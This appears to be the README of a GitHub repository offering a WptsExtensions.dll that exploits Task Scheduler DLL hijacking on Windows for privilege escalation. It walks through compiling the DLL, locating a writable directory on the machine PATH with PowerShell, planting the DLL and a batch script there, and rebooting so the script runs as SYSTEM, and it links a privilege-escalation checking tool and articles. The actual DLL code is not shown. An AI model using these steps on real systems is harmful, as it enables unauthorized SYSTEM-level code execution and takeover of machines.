gavz / wptsextensions.dll

WptsExtensions.dll for exploiting DLL hijacking of the task scheduler.

WptsExtensions.dll for exploiting Task Scheduler DLL Hijacking ("won't fix")

• Load x64 visual studio environnement variables:

"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars64.bat"

• Update the TCHAR script[] variable with a writable SYSTEM path where the DLL will be looked for.
  Check this tool to find ones.

  You can also list this environment variable thanks to:
  powershell -c "[System.Environment]::GetEnvironmentVariable('PATH','Machine')".

• Go inside your source dir and run (BUILD MANUALLY to avoid unwanted dependencies):

cl /LD /MT /EHa dllmain.cpp /Fe:WptsExtensions.dll

• Update bat script path:

const TCHAR script[] = TEXT("C:\\Python27\\script.bat"):  

• Drop the DLL and script.bat in your writable directory (from the machine PATH)

powershell -Command "[System.Environment]::GetEnvironmentVariable('PATH','Machine')"

• Reboot

Tool to use during your privesc:
https://github.com/itm4n/PrivescCheck

Articles:
https://itm4n.github.io/windows-dll-hijacking-clarified/
http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html